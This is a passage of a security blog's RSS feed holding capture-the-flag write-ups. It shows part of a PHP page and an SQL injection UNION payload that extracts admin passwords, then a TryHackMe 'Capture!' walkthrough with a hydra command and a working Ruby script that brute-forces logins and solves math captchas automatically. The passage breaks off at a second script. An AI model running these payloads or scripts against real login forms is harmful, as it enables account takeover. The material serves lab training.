style="color:#ABB2BF">tr</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">thead</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">tbody</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">while</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$row</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> mysqli_fetch_assoc</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$result</span><span style="color:#ABB2BF">))</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">tr</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $row</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'id'</span><span style="color:#ABB2BF">]; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $row</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'name'</span><span style="color:#ABB2BF">]; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $row</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'position'</span><span style="color:#ABB2BF">]; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $row</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'status'</span><span style="color:#ABB2BF">]; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'role'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#98C379"> 'admin'</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                        &#x3C;</span><span style="color:#ABB2BF">a href</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"?action=approve&#x26;id=&#x3C;?= </span><span style="color:#E06C75">$row</span><span style="color:#98C379">['id']; ?>"</span></span><span class="line"><span style="color:#E5C07B">                           class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"btn btn-sm btn-success"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Approve</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">a</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                        &#x3C;</span><span style="color:#ABB2BF">a href</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"?action=reject&#x26;id=&#x3C;?= </span><span style="color:#E06C75">$row</span><span style="color:#98C379">['id']; ?>"</span></span><span class="line"><span style="color:#E5C07B">                           class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"btn btn-sm btn-danger"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Reject</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">a</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">td</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">tr</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endwhile</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">tbody</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">table</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">include</span><span style="color:#98C379"> 'footer.php'</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure>    </div></div><p>Looking at how the search is performed, we can trigger an SQL injection to read the admin's password.</p><figure class="shiki sql"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">SELECT</span><span style="color:#ABB2BF"> * </span><span style="color:#C678DD">FROM</span><span style="color:#ABB2BF"> candidates </span><span style="color:#C678DD">WHERE</span><span style="color:#C678DD"> name</span><span style="color:#C678DD"> LIKE</span><span style="color:#98C379"> '%</span></span><span class="line"><span style="color:#98C379">    '</span><span style="color:#C678DD"> UNION</span><span style="color:#C678DD"> SELECT</span><span style="color:#C678DD"> null</span><span style="color:#ABB2BF">,</span><span style="color:#C678DD">null</span><span style="color:#ABB2BF">,</span><span style="color:#C678DD">password</span><span style="color:#ABB2BF">,</span><span style="color:#C678DD">null</span><span style="color:#C678DD"> FROM</span><span style="color:#ABB2BF"> users </span><span style="color:#7F848E;font-style:italic">-- -</span></span><span class="line"><span style="color:#ABB2BF">%</span><span style="color:#98C379">'</span></span></code></pre></div></div></figure><p>Connecting with <code>ADMIN</code> give the admin's flag.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Capture! - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Capture-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Capture!</li>
<li><s]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/bruteforce/">bruteforce</category>
      <category domain="https://blog.raw.pm/tags/captcha/">captcha</category>
      <pubDate>Tue, 07 Apr 2026 01:33:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Capture!</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/capture">tryhackme.com</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Description</strong>: Can you bypass the login form?</li></ul><p><img src="/images/TryHackMe/capture.png" alt="Capture!"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> ruby</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart3792" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart3792').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        0,        4,        0,        5,        2,        5      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Brute-force-attack">Brute-force attack<a class="header-anchor" href="#Brute-force-attack">#</a></h2><p>While trying some dummy credentials, we get the following error:</p><blockquote><p>Error: The user 'admin' does not exist</p></blockquote><p>So we can uncorrelate the identification of the username and the password.To lower the attack complexity we can launch the attack in two steps, one to identify valid usernames thanks to the non-generic error message, and another two try passwords on valid accounts.</p><p>However, after too many failed attempts (error <code>Too many bad login attempts!</code>) a captcha is required. Hopefully, the captcha is textual and made of simple calculations, so its solution can be automated easily.</p><h2 id="Calculation">Calculation<a class="header-anchor" href="#Calculation">#</a></h2><p>The username file contains 878 entries and the password one 1567 entries.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ wc *.txt</span></span><span class="line"><span> 1566  1568 13803 passwords.txt</span></span><span class="line"><span>  877   878  6870 usernames.txt</span></span><span class="line"><span> 2443  2446 20673 total</span></span></code></pre></div></div></figure><p>That would make 1 059 346 attempts in total via correlated brute force with a generic error message. At 55 requests per second, this would take more than 5 hours.</p><p>But, for example, if only one user is valid, at maximum we'll have made 878 requests to identify the user, and then will do at max 1567 request to guess the password. Which makes 2445 requests, so at the same rate it would take 44 seconds when being able to test user and password separately.</p><h2 id="Identify-valid-usernames">Identify valid usernames<a class="header-anchor" href="#Identify-valid-usernames">#</a></h2><p>The command I would have used to identify valid usernames with hydra if there was no captcha would have been the following:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">hydra</span><span style="color:#D19A66"> -L</span><span style="color:#98C379"> usernames.txt</span><span style="color:#D19A66"> -p</span><span style="color:#98C379"> 'password'</span><span style="color:#D19A66"> -s</span><span style="color:#D19A66"> 80</span><span style="color:#D19A66"> -m</span><span style="color:#98C379"> '/login:username=^USER^&#x26;password=^PASS^:F=Error'</span><span style="color:#D19A66"> 10.128.135.145</span><span style="color:#98C379"> http-post-form</span></span></code></pre></div></div></figure><p>Here is my ruby script solution to do the same while handling captchas.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic">#!/usr/bin/env ruby</span></span><span class="line"></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'net/http'</span></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'uri'</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># Configuration</span></span><span class="line"><span style="color:#E5C07B">DEBUG</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> false</span></span><span class="line"><span style="color:#E5C07B">TARGET_HOST</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '10.128.135.145'</span></span><span class="line"><span style="color:#E5C07B">TARGET_PORT</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 80</span></span><span class="line"><span style="color:#E5C07B">LOGIN_PATH</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '/login'</span></span><span class="line"><span style="color:#E5C07B">PASSWORD</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'password'</span></span><span class="line"><span style="color:#E5C07B">USERNAMES_FILE</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'usernames.txt'</span></span><span class="line"><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#56B6C2">  INVALID_USER</span><span style="color:#D19A66">:</span><span style="color:#E06C75"> /The user &#x26;#39;[a-z]+&#x26;#39; does not exist/</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#56B6C2">  CAPTCHA_ENABLED</span><span style="color:#D19A66">:</span><span style="color:#E06C75"> /Captcha enabled/</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#56B6C2">  INVALID_CAPTCHA</span><span style="color:#D19A66">:</span><span style="color:#E06C75"> /Invalid captcha/</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#E06C75">uri</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> URI</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"http://</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_HOST</span><span style="color:#C678DD">}</span><span style="color:#98C379">:</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_PORT</span><span style="color:#C678DD">}#{</span><span style="color:#E5C07B">LOGIN_PATH</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">usernames</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> File</span><span style="color:#ABB2BF">.</span><span style="color:#56B6C2">readlines</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">USERNAMES_FILE</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">map</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">&#x26;</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">chomp</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#98C379"> "[*] Start user identification"</span></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#98C379"> "[*] Target: </span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_HOST</span><span style="color:#C678DD">}</span><span style="color:#98C379">:</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_PORT</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#98C379"> "[*] Number of user candidates: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">usernames.</span><span style="color:#61AFEF">count</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#56B6C2">puts</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> test_credentials</span><span style="color:#ABB2BF">(</span><span style="color:#ABB2BF;font-style:italic">uri</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">username</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">password</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">captcha_mode</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">previous_res</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  http</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Net</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">HTTP</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(uri.</span><span style="color:#61AFEF">host</span><span style="color:#ABB2BF">, uri.</span><span style="color:#61AFEF">port</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">  http.</span><span style="color:#61AFEF">read_timeout</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 3</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">  params</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#56B6C2">    username</span><span style="color:#D19A66">:</span><span style="color:#ABB2BF"> username,</span></span><span class="line"><span style="color:#56B6C2">    password</span><span style="color:#D19A66">:</span><span style="color:#ABB2BF"> password</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> captcha_mode </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#E06C75">    captcha_value</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> solve_captcha</span><span style="color:#ABB2BF">(previous_res)</span></span><span class="line"><span style="color:#ABB2BF">    params[</span><span style="color:#98C379">'captcha'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> captcha_value</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">  request</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Net</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">HTTP</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">Post</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(uri.</span><span style="color:#61AFEF">path</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">  request.</span><span style="color:#61AFEF">set_form_data</span><span style="color:#ABB2BF">(params)</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">  begin</span></span><span class="line"><span style="color:#E06C75">    response</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> http.</span><span style="color:#61AFEF">request</span><span style="color:#ABB2BF">(request)</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">INVALID_USER</span><span style="color:#ABB2BF">])</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span></span><span class="line"><span style="color:#C678DD">    elsif</span><span style="color:#ABB2BF"> captcha_mode </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> false</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">CAPTCHA_ENABLED</span><span style="color:#ABB2BF">])</span></span><span class="line"><span style="color:#56B6C2">      puts</span><span style="color:#98C379"> '[+] Captcha detected'</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#D19A66"> :</span><span style="color:#56B6C2">captcha</span></span><span class="line"><span style="color:#C678DD">    elsif</span><span style="color:#ABB2BF"> captcha_mode </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> true</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">INVALID_CAPTCHA</span><span style="color:#ABB2BF">])</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span></span><span class="line"><span style="color:#C678DD">    else</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#C678DD">    end</span></span><span class="line"><span style="color:#C678DD">  rescue</span><span style="color:#ABB2BF"> => e</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[!] Error: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">e.</span><span style="color:#61AFEF">message</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> solve_captcha</span><span style="color:#ABB2BF">(</span><span style="color:#ABB2BF;font-style:italic">response_body</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">  # Extract math challenge (eg: "634 + 61 = ?")</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> response_body.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">/</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*[+</span><span style="color:#56B6C2">\-</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\/</span><span style="color:#E06C75">]</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*=</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\?</span><span style="color:#E06C75">/</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">    match</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> response_body.</span><span style="color:#61AFEF">match</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">/(</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+)</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*([+</span><span style="color:#56B6C2">\-</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\/</span><span style="color:#E06C75">])</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*(</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+)</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*=</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\?</span><span style="color:#E06C75">/</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">    num1</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> match[</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">to_i</span></span><span class="line"><span style="color:#E06C75">    operator</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> match[</span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#E06C75">    num2</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> match[</span><span style="color:#D19A66">3</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">to_i</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">    # Resolve calc</span></span><span class="line"><span style="color:#E06C75">    result</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> case</span><span style="color:#ABB2BF"> operator</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '+'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '-'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '*'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">*</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '/'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             end</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[+] Solved captcha: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">num1</span><span style="color:#C678DD">}</span><span style="color:#C678DD"> #{</span><span style="color:#ABB2BF">operator</span><span style="color:#C678DD">}</span><span style="color:#C678DD"> #{</span><span style="color:#ABB2BF">num2</span><span style="color:#C678DD">}</span><span style="color:#98C379"> = </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">result</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#ABB2BF"> result.</span><span style="color:#61AFEF">to_s</span></span><span class="line"><span style="color:#C678DD">  else</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[!] Impossible to extract captcha"</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    #puts response_body if DEBUG</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#D19A66"> nil</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">captcha_mode</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> false</span></span><span class="line"><span style="color:#E06C75">previous_res</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span></span><span class="line"><span style="color:#ABB2BF">usernames.</span><span style="color:#61AFEF">each</span><span style="color:#C678DD"> do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">username</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#E06C75">  res</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> test_credentials</span><span style="color:#ABB2BF">(uri, username, </span><span style="color:#E5C07B">PASSWORD</span><span style="color:#ABB2BF">, captcha_mode, previous_res)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">  #puts previous_res if DEBUG</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> res </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[+] Success! User found: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">username</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#C678DD">  elsif</span><span style="color:#ABB2BF"> res </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> :</span><span style="color:#56B6C2">captcha</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> '[+] Captcha mode enabled'</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#E06C75">    captcha_mode</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#C678DD">  else</span></span><span class="line"><span style="color:#E06C75">    previous_res</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> res</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"><span style="color:#C678DD">end</span></span></code></pre></div></div></figure><p>Launching it, I identified only one valid user.</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ruby find_user.rb</span></span><span class="line"><span>[*] Start user identification</span></span><span class="line"><span>[*] Target: 10.128.135.145:80</span></span><span class="line"><span>[*] Number of user candidates: 878</span></span><span class="line"><span></span></span><span class="line"><span>[+] Success! User found: edited</span></span></code></pre></div></div></figure><h2 id="Password-identification">Password identification<a class="header-anchor" href="#Password-identification">#</a></h2><p>Then I just had to adjust the script a little to do the same for passwords:</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic">#!/usr/bin/env ruby</span></span><span class="line"></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'net/http'</span></span><span 